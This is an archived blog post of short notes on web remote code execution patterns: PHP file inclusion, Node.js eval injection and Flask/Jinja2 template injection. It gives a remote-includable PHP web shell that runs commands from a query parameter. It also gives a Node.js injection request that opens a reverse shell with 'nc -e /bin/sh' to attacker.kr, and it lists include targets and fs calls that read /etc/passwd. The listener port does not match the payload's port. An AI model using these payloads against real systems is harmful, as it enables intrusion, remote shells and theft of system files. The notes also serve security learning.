Gravitational plate of three masses and a slashed discABC0Static engraved plate. Three-dimensional view is unavailable or reduced motion is requested.

← back to fieldarchive

archiveDec 25, 2021

Web application RCE patterns

Short notes on common remote code execution paths in PHP file inclusion, Node.js eval/injection, and Flask/Jinja2 server-side template injection.

Quick start

Web application RCE cases

PHP

  • File inclusion, file upload, …

Node.js

  • Code injection, unserialize, …

Flask

  • Server-side template injection, …

RCE case 1 — PHP

File inclusion

PHP include can pull text, code, or markup into another PHP file.

<?php
    include $_GET[file];
?>

If the target can include attacker-controlled content, uploading (or hosting) a payload and including it is enough for RCE.

request

# > https://victim.kr/index.php?file=https://attacker.kr/payload.txt&cmd=id

payload.txt

<?php
    echo shell_exec($_GET[cmd]);
?>

response

uid=20080 gid=1001 groups=1001

Once the attacker's payload is included, the request drives whatever the payload exposes.

File inclusion technique

Useful include targets

  • /etc/passwd — Linux account list [local file]
  • /proc/self/maps — process memory map [local file]
  • /var/www/html/[payload.*] — PHP that can execute [local file]
  • https://attacker.kr/payload.txt — PHP that can execute [remote file]

Functions worth trying

  • echo "data"; — print text
  • phpinfo(); — dump PHP configuration
  • system("id") — run via system
  • passthru("id") — run via passthru
  • file_put_contents("/tmp/test.txt", "data") — write/create a file
  • file_get_contents("/tmp/test.txt") — read a file

RCE case 2 — Node.js

Node.js code injection

request

//> http://victim.kr/api/v1/data/require("child_process").exec("nc -e /bin/sh attacker.kr 8080")

attacker server

# nc -lvp 8888

If a path, query, or similar input is evaluated as JavaScript inside the app, the request above can land a reverse shell.

Internal shape on victim.kr

...
eval(data_input); // data_input은 위의 request에서 전달받은 데이터
...

The input string is passed to eval and runs as JavaScript.

Node.js code injection technique

fs class

require('fs') lets you list, read, write, and delete files on the host.

readdir()

readdir() / readdirSync() list a directory. The Sync form is just the blocking version.

var fs = require('fs');
fs.readdir('.').toString('utf8');
fs.readdir('..').toString('utf8');

readFile()

After you know the layout, readFile() / readFileSync() read file contents.

var fs = require('fs');
fs.readFile('/etc/passwd').toString('utf8');

Child process

child_process can spawn child processes via spawn(), fork(), exec(), execFile(), and related helpers. spawn() returns a stream; exec() returns the full buffered output.

Ncat

After the payload runs, Ncat is a common way to catch a reverse shell.

// > http://victim.kr/api/v1/data/require("child_process").exec("nc -e /bin/sh attacker.kr 8080")
// < nc -lvp 8888

RCE case 3 — Flask / Jinja2

Flask server-side template injection

Server-side template injection happens when user input that reaches a template engine is rendered as template syntax, so the engine evaluates attacker-controlled expressions.

Internal server shape on victim.kr

def index():
    return render_template_string(
        '<h1>{{ request.args.get("input") }}</h1>'
    )

request

# http://victim.kr/?input={{4*4}}

response

# > <h1>16</h1>

The handler takes input from the query string and feeds it into render_template_string. Sending {{4*4}} makes the engine evaluate the expression and return 16.

related

  1. Dec 26, 2021/articleWeb Application SSRF / XXE / SSTI Research Notes
  2. Dec 20, 2020/articleSQLite3 fts3_tokenizer() Remote Code Execution Research
  3. Dec 24, 2021/articleVulnerability analysis of commercial metaverse-based virtual office platforms

graphfeed